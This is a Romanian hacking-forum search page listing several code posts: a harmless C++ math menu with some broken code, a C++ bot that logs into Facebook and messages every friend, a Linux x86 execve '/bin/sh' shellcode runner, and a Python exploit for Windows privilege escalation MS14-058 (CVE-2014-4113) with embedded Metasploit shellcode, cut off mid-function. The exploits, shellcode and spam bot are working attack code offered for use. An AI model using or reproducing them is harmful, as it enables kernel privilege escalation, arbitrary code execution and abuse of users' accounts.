Jump to content

Search the Community

Showing results for tags 'int'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Occupation


Interests


Biography


Location

Found 18 results

  1. Mai erau de adaugat o groaza de algoritmi dar ajunge atat. Multumesc pentru ajutor @nedo #include<iostream> #include<conio.h> #include<math.h> #include<vector> #include<string> using namespace std; int main(){ int alege,prog=0,n,test=0,test1,test2=1,w,z,r; float a,b,c,x1,x2,delta,x,real,img; char alege1,ec; string input; char choise = ' '; restart: cout <<"1.Calculator\n"; cout <<"2.Ecuatia de gradul intai\n"; cout <<"3.Ecuatia de gradul 2\n"; cout <<"4.Progresii\n"; cout <<"5.Cmmdc\n"; cout <<"6.Exit\n"; cout <<"Alege (1,2,3..6): ";cin>>alege; switch(alege){ case 1 : cout <<"\nFelicitari , ai ales 'Calculatorul'\n\n"; operatii: cout <<"a)Inmultire\n"; cout <<"b)Impartire\n"; cout <<"c)Adunare\n"; cout <<"d)Scadere\n"; cout <<"Alege operatia dorita: ";cin>>alege1; switch(alege1){ case 'a' : cout <<"Ai ales operatia de inmultire calculeaza acum\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"Rezultatul este " <<a*b<<endl; break; case 'b' : cout <<"Ai ales operatia de impartire calculeaza acum\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"Rezultatul este " <<a/b<<endl; break; case 'c' : cout <<"Ai ales operatia de adunare calculeaza acum\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"Rezultatul este " <<a+b<<endl; break; case 'd' : cout <<"Ai ales operatia de scadere calculeaza acum\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"Rezultatul este " <<a-b<<endl; break; default : cout <<"Alegere gresita . Alege doar dintre 'a' , 'b' , 'c' si 'd'";} break; cout <<"\nDoresti sa revii in meniul de operatii ?[Y/N]"; choise=_getch(); if (choise == 'n') goto operatii; case 2 : cout <<"Felicitari , ai ales 'Ecuatia de gradul intai'\n"; cout <<"Alege tipul de ecuatie\n"; cout <<"a) ax+b=0\n"; cout <<"Alege : "; cin>>ec; if (ec == 'a'){ cout<<"Dati valoarea lui a = "; cin>>a; cout<<"Dati valoarea lui b = "; cin>>b; if (a == 0) if (b == 0) cout <<"Ecuatie nedeterminata"; else cout <<"Ecuatie imposibila"; else { x=-b/a; cout <<"Rezultatul este: "<<x<<endl;}} break; case 3 : cout <<"Felicitari , ai ales 'Ecuatia de gradul doi'\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"c=";cin>>c; delta = b*b-4*a*c; if (a==0) cout <<"Ecuatia de gradul 1"; else { delta=b*b-4*a*c; if(delta >= 0) { cout<<"Radacini reale: "; x1=(-b+sqrt(delta))/(2*a); x2=(-b-sqrt(delta))/(2*a); cout<<"x1 = "<<x1<<" x2 = "<<x2; } else { cout<<"Radacini complexe :"; delta=-delta; real=-b/(2*a); img=sqrt(delta)/(2*a); cout<<"x1 = "<<real<<" + i*"<<img<<"\n"; cout<<"x2 = "<<real<<" - i*\n"<<img; } } break; case 4 : cout <<"Felicitari , ai ales 'Progresii' , acum va trebui sa alegi tipul de progresie\n"; reset: cout <<"a)Progresii aritmetice\n"; cout <<"b)Progresii geometrice\n"; cout <<"Alege cu 'a' sau 'b': ";cin>>choise; if (choise == 'a') { cout <<"Ai ales progresiile aritmetice , poti da sirul de numere\n"; vector<float> sir; cout <<"Adauga sirul : [apasa 0 cand ai terminat, orice alt tip de caracter va fi ignorat]\n"; do { cin >>input; prog = atoi(input.c_str());// transformam in numar(daca in input e un sir de caractere, chiar si urmat de cifre, functia va returna 0) if(prog == 0) //prog = - 1; continue; // iesim daca s-a introdus un sir de caractere sir.push_back(prog); }while (input != "0"); int dif = 0; int difVeche = 0; bool first = true; bool ok = false; for(int i = 1; i < sir.size();i++) { if(first) { dif = sir - sir[i - 1]; difVeche = dif; first= false; continue; } dif = sir - sir[i - 1]; if(dif != difVeche) { cout << "Sirul nu este in progresie aritmetica." << endl; ok = false; break; } ok = true; if(ok) cout << "Sirul este in progresie aritmetica cu ratia " <<dif<< endl; cout <<"Sirul are " <<sir.size()<< " elemente\n"; cout <<"Doresti sa calculezi suma primilor n termeni? [Y/N] \n"; choise = getch(); if (choise == 'n') goto reset; else cout <<"Ce termen doresti sa calculezi? ";cin>>test; test1=sir[0]+(sir.size()-1)*dif; cout <<"Termenul " <<test<< " este egal cu " <<test1; break; } } if (choise == 'b') { cout <<"Ai ales progresiile geometrice , poti da sirul de numere\n"; vector<float> sir; cout <<"Adauga sirul : [apasa 0 cand ai terminat, orice alt tip de caracter va fi ignorat]\n"; do { cin >>input; prog = atoi(input.c_str());// transformam in numar(daca in input e un sir de caractere, chiar si urmat de cifre, functia va returna 0) if(prog == 0) //prog = - 1; continue; // iesim daca s-a introdus un sir de caractere sir.push_back(prog); }while (input != "0"); int q = 0; int q1 = 0; bool first = true; bool ok = false; for(int i = 1; i < sir.size();i++) { if(first) { q = sir / sir[i - 1]; q1 = q; first= false; continue; } q = sir / sir[i - 1]; if(q != q1) { cout << "Sirul nu este in progresie geometrica." << endl; ok = false; break; } ok = true; if(ok) cout << "Sirul este in progresie geometrica cu ratia " <<q<< endl; cout <<"Sirul are " <<sir.size()<< " elemente\n"; cout <<"Doresti sa calculezi suma primilor n termeni? [Y/N] \n"; choise = getch(); if (choise == 'n') goto reset; else cout <<"Ce termen doresti sa calculezi? ";cin>>test; float a=pow(q , test-1); //bn = b1·qn-1 test2=sir[0]*a; cout <<"Termenul " <<test<< " este egal cu \n" <<test2; break; } } break; case 5 : cout <<"Felicitari ai ales 'cmmdc'\n"; cout<<"a=";cin>>w; cout<<"b=";cin>>z; while(w!=z) if(w> w=w-z; else z=z-w; cout<<"Cmmdc : "<<z; break; default : cout <<"Nu exista aceasta optiune";} goto restart; getchar(); cin.ignore(cin.rdbuf()->in_avail() +1); return 0; }
  2. Login to account with provided username/password, extract friends list, send messages to them all. Requires: curl, and gumbo. Enjoy. #include <stdio.h> #include <curl/curl.h> #include <iostream> #include <cstring> #include <vector> #include "gumbo.h" using namespace std; CURL *curl; CURLcode res; string data; string fb_dtsg; vector<string> friends; struct curl_httppost *formpost=NULL; struct curl_httppost *lastptr=NULL; struct curl_httppost *msgform=NULL; struct curl_httppost *msglast=NULL; static size_t curl_write( void *ptr, size_t size, size_t nmemb, void *stream) { data.append( (char*)ptr, size*nmemb ); return size*nmemb; }; string replace_all(string str, const string& from, const string& to) { size_t start_pos = 0; while((start_pos = str.find(from, start_pos)) != std::string::npos) { str.replace(start_pos, from.length(), to); start_pos += to.length(); } return str; } string string_between( string str, const string& delim1, const string& delim2 ) { unsigned first = str.find(delim1); unsigned last = str.find(delim2); string out = str.substr (first,last-first); return out; } int curl_check_cookie_response( ) { struct curl_slist *cookies; struct curl_slist *nc; int i; res = curl_easy_getinfo(curl, CURLINFO_COOKIELIST, &cookies); if (res == CURLE_OK) { nc = cookies, i = 1; while (nc) { if(strstr( nc->data, "c_user") != NULL ) return 0; nc = nc->next; i++; } } curl_slist_free_all(cookies); return 1; } int authenticate_details( const char* email, const char* password ) { curl_easy_setopt(curl, CURLOPT_URL, "https://m.facebook.com/login.php" ); curl_easy_setopt( curl, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; sludg3; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0"); curl_easy_setopt( curl, CURLOPT_FOLLOWLOCATION, 2L ); curl_easy_setopt( curl, CURLOPT_VERBOSE, 0 ); curl_easy_setopt( curl, CURLOPT_COOKIEFILE, ""); curl_easy_setopt( curl, CURLOPT_COOKIEJAR, "cookies.txt" ); curl_formadd(&formpost, &lastptr, CURLFORM_COPYNAME, "email", CURLFORM_COPYCONTENTS, email, CURLFORM_END); curl_formadd(&formpost, &lastptr, CURLFORM_COPYNAME, "pass", CURLFORM_COPYCONTENTS, password, CURLFORM_END); curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost); curl_easy_setopt( curl, CURLOPT_WRITEFUNCTION, curl_write ); if( curl_easy_perform(curl) == CURLE_OK ) { return 0; } return 1; } void gumbo_parse_friend_data( GumboNode* node ) { GumboAttribute* url; if (node->type != GUMBO_NODE_ELEMENT) { return; } if (node->v.element.tag == GUMBO_TAG_A && (url = gumbo_get_attribute(&node->v.element.attributes, "href"))) { if( strstr( url->value, "?uid=" ) != NULL ) { data = string_between( url->value, "=", "&" ); data = replace_all( data, "=", ""); friends.push_back( data ); } } GumboVector* children = &node->v.element.children; for (unsigned int i = 0; i < children->length; ++i) { gumbo_parse_friend_data(static_cast<GumboNode*>(children->data[i])); } } void gumbo_parse_session_id ( GumboNode* node ) { GumboAttribute* inputName; GumboAttribute* inputValue; if (node->type != GUMBO_NODE_ELEMENT) { return; } if (node->v.element.tag == GUMBO_TAG_INPUT ) { inputName = gumbo_get_attribute( &node->v.element.attributes, "name" ); inputValue = gumbo_get_attribute( &node->v.element.attributes, "value" ); if( inputValue != NULL && inputName != NULL) { std::string val( inputName->value ); std::size_t match = val.find( "fb_dtsg" ); if( match == 0 ) { fb_dtsg = inputValue->value; } } } GumboVector* children = &node->v.element.children; for (unsigned int i = 0; i < children->length; ++i) { gumbo_parse_session_id(static_cast<GumboNode*>(children->data[i]) ); } } int grab_friends_list_data( ) { curl_easy_setopt(curl, CURLOPT_URL, "https://m.facebook.com/friends/center/friends" ); if( curl_easy_perform(curl) == CURLE_OK ) { GumboOutput* output = gumbo_parse(data.c_str()); gumbo_parse_friend_data( output->root); return 0; } return 1; } int grab_friend_session( string friend_id ) { char url[512]; snprintf( url, sizeof( url ), "https://m.facebook.com/messages/thread/%s", friend_id.c_str() ); curl_easy_setopt( curl, CURLOPT_URL, url ); if( curl_easy_perform(curl) == CURLE_OK ) { GumboOutput* output = gumbo_parse(data.c_str()); gumbo_parse_session_id( output->root); return 0; } return 1; } int send_message_to_friend( string friend_id, string message ) { char field[ 32 ], value[ 32 ]; snprintf( field, sizeof( field ), "ids[%s]", friend_id.c_str() ); snprintf( value, sizeof( value ), "%s", friend_id.c_str() ); curl_easy_setopt( curl, CURLOPT_URL, "https://m.facebook.com/messages/send/?icm=1" ); curl_formadd(&msgform, &msglast, "fb_dtsg", CURLFORM_COPYCONTENTS, fb_dtsg.c_str(), CURLFORM_END); curl_formadd(&msgform, &msglast, CURLFORM_COPYNAME, field, CURLFORM_COPYCONTENTS, value, CURLFORM_END); curl_formadd(&msgform, &msglast, CURLFORM_COPYNAME, "body", CURLFORM_COPYCONTENTS, message.c_str(), CURLFORM_END); curl_easy_setopt( curl, CURLOPT_HTTPPOST, msgform ); if( curl_easy_perform(curl) == CURLE_OK ) { return 0; } return 1; } void cleanup( ) { data = ""; } int main( int argc, char *argv[] ) { curl = curl_easy_init(); if(curl) { if( authenticate_details( "message@allyourfriends.com", "thepassword" ) == 0 ) { if( curl_check_cookie_response() == 0 ) { printf("We are logged in."); if( grab_friends_list_data() == 0 ) { for(vector<int>::size_type i = 0; i != friends.size(); i++) { printf( "Sending message to friend ID: %s\r\n", friends[i].c_str() ); if( grab_friend_session( friends[i].c_str() ) == 0 ) { send_message_to_friend( friends[i].c_str(), "hi"); } } } } else { printf("Failed to login."); } } } return 0; } P.S:// Nu l-am testat! Credit's to: sludg3@tf @kNigHt done.
  3. /* ; Title: Linux/x86 execve "/bin/sh" - shellcode 26 bytes ; Platform: linux/x86_64 ; Date: 2015-05-19 ; Author: Reza Behzadpour ; Simple ShellCode section .text global _start _start: xor ecx,ecx mul ecx ;execve("/bin/sh", NULL, NULL) mov al,11 jmp shell shell_ret: pop ebx push ecx push ebx pop ebx int 0x80 shell: call shell_ret db "/bin/sh" */ /* # tcc -o ./shellcode ./shellcode.c # uname -r 3.12-kali1-686-pae */ #include <stdio.h> #include <string.h> char shellcode[] = { "\x31\xc9\xf7\xe1\xb0\x0b\xeb\x06\x5b" "\x51\x53\x5b\xcd\x80\xe8\xf5\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68" }; int main() { printf("Shellcode Length: %d\n", (int)strlen(shellcode)); int *ret; ret = (int *) &ret + 2; (*ret) = (int) shellcode; return 0; } Source
  4. # Windows 8.0 - 8.1 x64 TrackPopupMenu Privilege Escalation (MS14-058) # CVE-2014-4113 Privilege Escalation # http://www.offensive-security.com # Thx to Moritz Jodeit for the beautiful writeup # http://www.exploit-db.com/docs/35152.pdf # Target OS Windows 8.0 - 8.1 x64 # Author: Matteo Memelli ryujin <at> offensive-security.com from ctypes import * from ctypes.wintypes import * import struct, sys, os, time, threading, signal ULONG_PTR = PVOID = LPVOID HCURSOR = HICON PDWORD = POINTER(DWORD) PQWORD = POINTER(LPVOID) LRESULT = LPVOID UCHAR = c_ubyte QWORD = c_ulonglong CHAR = c_char NTSTATUS = DWORD MIIM_STRING = 0x00000040 MIIM_SUBMENU = 0x00000004 WH_CALLWNDPROC = 0x4 GWLP_WNDPROC = -0x4 NULL = 0x0 SystemExtendedHandleInformation = 64 ObjectDataInformation = 2 STATUS_INFO_LENGTH_MISMATCH = 0xC0000004 STATUS_BUFFER_OVERFLOW = 0x80000005L STATUS_INVALID_HANDLE = 0xC0000008L STATUS_BUFFER_TOO_SMALL = 0xC0000023L STATUS_SUCCESS = 0 TOKEN_ALL_ACCESS = 0xf00ff DISABLE_MAX_PRIVILEGE = 0x1 FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000 PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) TH32CS_SNAPPROCESS = 0x02 WinFunc1 = WINFUNCTYPE(LPVOID, INT, WPARAM, LPARAM) WinFunc2 = WINFUNCTYPE(HWND, LPVOID, INT, WPARAM, LPARAM) WNDPROC = WINFUNCTYPE(LPVOID, HWND, UINT, WPARAM, LPARAM) bWndProcFlag = False bHookCallbackFlag = False EXPLOITED = False Hmenu01 = Hmenu02 = None # /* # * windows/x64/exec - 275 bytes # * http://www.metasploit.com # * VERBOSE=false, PrependMigrate=false, EXITFUNC=thread, # * CMD=cmd.exe # */ SHELLCODE = ( "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64" "\x2e\x65\x78\x65\x00") class LSA_UNICODE_STRING(Structure): """Represent the LSA_UNICODE_STRING on ntdll.""" _fields_ = [ ("Length", USHORT), ("MaximumLength", USHORT), ("Buffer", LPWSTR), ] class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure): """Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll.""" _fields_ = [ ("Object", PVOID), ("UniqueProcessId", PVOID), ("HandleValue", PVOID), ("GrantedAccess", ULONG), ("CreatorBackTraceIndex", USHORT), ("ObjectTypeIndex", USHORT), ("HandleAttributes", ULONG), ("Reserved", ULONG), ] class SYSTEM_HANDLE_INFORMATION_EX(Structure): """Represent the SYSTEM_HANDLE_INFORMATION on ntdll.""" _fields_ = [ ("NumberOfHandles", PVOID), ("Reserved", PVOID), ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1), ] class PUBLIC_OBJECT_TYPE_INFORMATION(Structure): """Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll.""" _fields_ = [ ("Name", LSA_UNICODE_STRING), ("Reserved", ULONG * 22), ] class MENUITEMINFO(Structure): """Contains information about a menu item.""" _fields_ = [ ("cbSize" , UINT), ("fMask" , UINT), ("fType" , UINT), ("fState" , UINT), ("wID" , UINT), ("hSubMenu" , HMENU), ("hbmpChecked" , HBITMAP), ("hbmpUnchecked", HBITMAP), ("dwItemData" , ULONG_PTR), ("dwTypeData" , LPWSTR), ("cch" , UINT), ("hbmpItem" , HBITMAP), ] class WNDCLASS(Structure): """Contains the window class attributes that are registered by the RegisterClass function.""" _fields_ = [ ("style" , UINT), ("lpfnWndProc" , WNDPROC), ("cbClsExtra" , INT), ("cbWndExtra" , INT), ("hInstance" , HINSTANCE), ("hIcon" , HCURSOR), ("hCursor" , HBITMAP), ("hbrBackground", HBRUSH), ("lpszMenuName" , LPWSTR), ("lpszClassName", LPWSTR), ] class PROCESSENTRY32(Structure): """Describes an entry from a list of the processes residing in the system address space when a snapshot was taken.""" _fields_ = [ ( 'dwSize' , DWORD ) , ( 'cntUsage' , DWORD) , ( 'th32ProcessID' , DWORD) , ( 'th32DefaultHeapID' , POINTER(ULONG)) , ( 'th32ModuleID' , DWORD) , ( 'cntThreads' , DWORD) , ( 'th32ParentProcessID' , DWORD) , ( 'pcPriClassBase' , LONG) , ( 'dwFlags' , DWORD) , ( 'szExeFile' , CHAR * MAX_PATH ) ] user32 = windll.user32 kernel32 = windll.kernel32 ntdll = windll.ntdll advapi32 = windll.advapi32 user32.PostMessageW.argtypes = [HWND, UINT, WPARAM, LPARAM] user32.PostMessageW.restype = BOOL user32.DefWindowProcW.argtypes = [HWND, UINT, WPARAM, LPARAM] user32.DefWindowProcW.restype = LRESULT user32.UnhookWindowsHook.argtypes = [DWORD, WinFunc1] user32.UnhookWindowsHook.restype = BOOL user32.SetWindowLongPtrW.argtypes = [HWND, DWORD, WinFunc2] user32.SetWindowLongPtrW.restype = LPVOID user32.CallNextHookEx.argtypes = [DWORD, DWORD, WPARAM, LPARAM] user32.CallNextHookEx.restype = LRESULT user32.RegisterClassW.argtypes = [LPVOID] user32.RegisterClassW.restype = BOOL user32.CreateWindowExW.argtypes = [DWORD, LPWSTR, LPWSTR, DWORD, INT, INT, INT, INT, HWND, HMENU, HINSTANCE, LPVOID] user32.CreateWindowExW.restype = HWND user32.InsertMenuItemW.argtypes = [HMENU, UINT, BOOL, LPVOID] user32.InsertMenuItemW.restype = BOOL user32.DestroyMenu.argtypes = [HMENU] user32.DestroyMenu.restype = BOOL user32.SetWindowsHookExW.argtypes = [DWORD, WinFunc1, DWORD, DWORD] user32.SetWindowsHookExW.restype = BOOL user32.TrackPopupMenu.argtypes = [HMENU, UINT, INT, INT, INT, HWND, DWORD] user32.TrackPopupMenu.restype = BOOL advapi32.OpenProcessToken.argtypes = [HANDLE, DWORD , POINTER(HANDLE)] advapi32.OpenProcessToken.restype = BOOL advapi32.CreateRestrictedToken.argtypes = [HANDLE, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, POINTER(HANDLE)] advapi32.CreateRestrictedToken.restype = BOOL advapi32.AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, DWORD, DWORD, DWORD, DWORD] advapi32.AdjustTokenPrivileges.restype = BOOL advapi32.ImpersonateLoggedOnUser.argtypes = [HANDLE] advapi32.ImpersonateLoggedOnUser.restype = BOOL kernel32.GetCurrentProcess.restype = HANDLE kernel32.WriteProcessMemory.argtypes = [HANDLE, QWORD, LPCSTR, DWORD, POINTER(LPVOID)] kernel32.WriteProcessMemory.restype = BOOL kernel32.OpenProcess.argtypes = [DWORD, BOOL, DWORD] kernel32.OpenProcess.restype = HANDLE kernel32.VirtualAllocEx.argtypes = [HANDLE, LPVOID, DWORD, DWORD, DWORD] kernel32.VirtualAllocEx.restype = LPVOID kernel32.CreateRemoteThread.argtypes = [HANDLE, QWORD, UINT, QWORD, LPVOID, DWORD, POINTER(HANDLE)] kernel32.CreateRemoteThread.restype = BOOL kernel32.CreateToolhelp32Snapshot.argtypes = [DWORD, DWORD] kernel32.CreateToolhelp32Snapshot.restype = HANDLE kernel32.CloseHandle.argtypes = [HANDLE] kernel32.CloseHandle.restype = BOOL kernel32.Process32First.argtypes = [HANDLE, POINTER(PROCESSENTRY32)] kernel32.Process32First.restype = BOOL kernel32.Process32Next.argtypes = [HANDLE, POINTER(PROCESSENTRY32)] kernel32.Process32Next.restype = BOOL kernel32.GetCurrentThreadId.restype = DWORD ntdll.NtAllocateVirtualMemory.argtypes = [HANDLE, LPVOID, ULONG, LPVOID, ULONG, DWORD] ntdll.NtAllocateVirtualMemory.restype = NTSTATUS ntdll.NtQueryObject.argtypes = [HANDLE, DWORD, POINTER(PUBLIC_OBJECT_TYPE_INFORMATION), DWORD, DWORD] ntdll.NtQueryObject.restype = NTSTATUS ntdll.NtQuerySystemInformation.argtypes = [DWORD, POINTER(SYSTEM_HANDLE_INFORMATION_EX), DWORD, POINTER(DWORD)] ntdll.NtQuerySystemInformation.restype = NTSTATUS def log(msg, e=None): if e == "e": msg = "[!] " + msg if e == "d": msg = "[*] " + msg else: msg = "[+] " + msg print msg def getLastError(): """Format GetLastError""" buf = create_string_buffer(2048) if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, kernel32.GetLastError(), 0, buf, sizeof(buf), NULL): log(buf.value, "e") else: log("Unknown Error", "e") class x_file_handles (Exception): pass def get_type_info(handle): """Get the handle type information.""" public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION() size = DWORD(sizeof(public_object_type_information)) while True: result = ntdll.NtQueryObject(handle, ObjectDataInformation, byref(public_object_type_information), size, 0x0) if result == STATUS_SUCCESS: return public_object_type_information.Name.Buffer elif result == STATUS_INFO_LENGTH_MISMATCH: size = DWORD(size.value * 4) resize(public_object_type_information, size.value) elif result == STATUS_INVALID_HANDLE: return "INVALID HANDLE: %s" % hex(handle) else: raise x_file_handles("NtQueryObject", hex(result)) def get_handles(): """Return all the open handles in the system""" system_handle_information = SYSTEM_HANDLE_INFORMATION_EX() size = DWORD (sizeof (system_handle_information)) while True: result = ntdll.NtQuerySystemInformation( SystemExtendedHandleInformation, byref(system_handle_information), size, byref(size) ) if result == STATUS_SUCCESS: break elif result == STATUS_INFO_LENGTH_MISMATCH: size = DWORD(size.value * 4) resize(system_handle_information, size.value) else: raise x_file_handles("NtQuerySystemInformation", hex(result)) pHandles = cast( system_handle_information.Handles, POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \ system_handle_information.NumberOfHandles) ) for handle in pHandles.contents: yield handle.UniqueProcessId, handle.HandleValue, handle.Object def WndProc(hwnd, message, wParam, lParam): """Window procedure""" global bWndProcFlag if message == 289 and not bWndProcFlag: bWndProcFlag = True user32.PostMessageW(hwnd, 256, 40, 0) user32.PostMessageW(hwnd, 256, 39, 0) user32.PostMessageW(hwnd, 513, 0, 0) return user32.DefWindowProcW(hwnd, message, wParam, lParam) def hook_callback_one(code, wParam, lParam): """Sets a new address for the window procedure""" global bHookCallbackFlag if ((cast((lParam+sizeof(HANDLE)*2),PDWORD)).contents).value == 0x1eb and\ not bHookCallbackFlag: bHookCallbackFlag = True if user32.UnhookWindowsHook(WH_CALLWNDPROC, CALLBACK01): # Sets a new address for the window procedure log("Callback triggered!") log("Setting the new address for the window procedure...") lpPrevWndFunc = user32.SetWindowLongPtrW\ ((cast((lParam+sizeof(HANDLE)*3),PDWORD).contents).value, GWLP_WNDPROC, CALLBACK02) return user32.CallNextHookEx(0, code, wParam, lParam) def hook_callback_two(hWnd, Msg, wParam, lParam): """Once called will return the fake tagWND address""" global EXPLOITED user32.EndMenu() EXPLOITED = True log("Returning the fake tagWND and overwriting token privileges...") return 0x00000000FFFFFFFB def buildMenuAndTrigger(): """Create menus and invoke TrackPopupMenu""" global Hmenu01, Hmenu02 log("Creating windows and menus...") wndClass = WNDCLASS() wndClass.lpfnWndProc = WNDPROC(WndProc) wndClass.lpszClassName = u"pwned" wndClass.cbClsExtra = wndClass.cbWndExtra = 0 # Registering Class if not user32.RegisterClassW(addressof(wndClass)): log("RegisterClassW failed", "e") sys.exit() # Creating the Window hWnd = user32.CreateWindowExW(0, u"pwned", u"pwned", 0, -1, -1, 0, 0, NULL, NULL, NULL, NULL) if not hWnd: log("CreateWindowExW Failed", "e") sys.exit() # Creating popup menu user32.CreatePopupMenu.restype = HMENU Hmenu01 = user32.CreatePopupMenu() if not Hmenu01: log("CreatePopupMenu failed 0x1", "e") sys.exit() Hmenu01Info = MENUITEMINFO() Hmenu01Info.cbSize = sizeof(MENUITEMINFO) Hmenu01Info.fMask = MIIM_STRING # Insert first menu if not user32.InsertMenuItemW(Hmenu01, 0, True, addressof(Hmenu01Info)): log("Error in InsertMenuItema 0x1", "e") user32.DestroyMenu(Hmenu01) sys.exit() # Creating second menu Hmenu02 = user32.CreatePopupMenu() if not Hmenu02: log("CreatePopupMenu failed 0x2", "e") sys.exit() Hmenu02Info = MENUITEMINFO() Hmenu02Info.cbSize = sizeof(MENUITEMINFO) Hmenu02Info.fMask = (MIIM_STRING | MIIM_SUBMENU) Hmenu02Info.dwTypeData = "" Hmenu02Info.cch = 1 Hmenu02Info.hSubMenu = Hmenu01 # Insert second menu if not user32.InsertMenuItemW(Hmenu02, 0, True, addressof(Hmenu02Info)): log("Error in InsertMenuItema 0x2", "e") user32.DestroyMenu(Hmenu01) user32.DestroyMenu(Hmenu01) sys.exit() # Set window callback tid = kernel32.GetCurrentThreadId() if not user32.SetWindowsHookExW(WH_CALLWNDPROC, CALLBACK01, NULL, tid): log("Failed SetWindowsHookExA 0x1", "e") sys.exit() # Crash it! log("Invoking TrackPopupMenu...") user32.TrackPopupMenu(Hmenu02, 0, -10000, -10000, 0, hWnd, NULL) def alloctagWND(): """Allocate a fake tagWND in userspace at address 0x00000000fffffff0""" hProcess = HANDLE(kernel32.GetCurrentProcess()) hToken = HANDLE() hRestrictedToken = HANDLE() if not advapi32.OpenProcessToken(hProcess,TOKEN_ALL_ACCESS, byref(hToken)): log("Could not open current process token", "e") getLastError() sys.exit() if not advapi32.CreateRestrictedToken(hToken, DISABLE_MAX_PRIVILEGE, 0, 0, 0, 0, 0, 0, byref(hRestrictedToken)): log("Could not create the restricted token", "e") getLastError() sys.exit() if not advapi32.AdjustTokenPrivileges(hRestrictedToken, 1, NULL, 0, NULL, NULL): log("Could not adjust privileges to the restricted token", "e") getLastError() sys.exit() # Leak Token addresses in kernel space log("Leaking token addresses from kernel space...") for pid, handle, obj in get_handles(): if pid==os.getpid() and get_type_info(handle) == "Token": if hToken.value == handle: log("Current process token address: %x" % obj) if hRestrictedToken.value == handle: log("Restricted token address: %x" % obj) RestrictedToken = obj CurrentProcessWin32Process = "\x00"*8 # nt!_TOKEN+0x40 Privileges : _SEP_TOKEN_PRIVILEGES # +0x3 overwrite Enabled in _SEP_TOKEN_PRIVILEGES, -0x8 ADD RAX,0x8 TokenAddress = struct.pack("<Q", RestrictedToken+0x40+0x3-0x8) tagWND = "\x41"*11 + "\x00\x00\x00\x00" +\ "\x42"*0xC + "\xf0\xff\xff\xff\x00\x00\x00\x00" +\ "\x00"*8 +\ "\x43"*0x145 + CurrentProcessWin32Process + "\x45"*0x58 +\ TokenAddress + "\x47"*0x28 ## Allocate space for the input buffer lpBaseAddress = LPVOID(0x00000000fffffff0) Zerobits = ULONG(0) RegionSize = LPVOID(0x1000) written = LPVOID(0) dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffffffffffff, 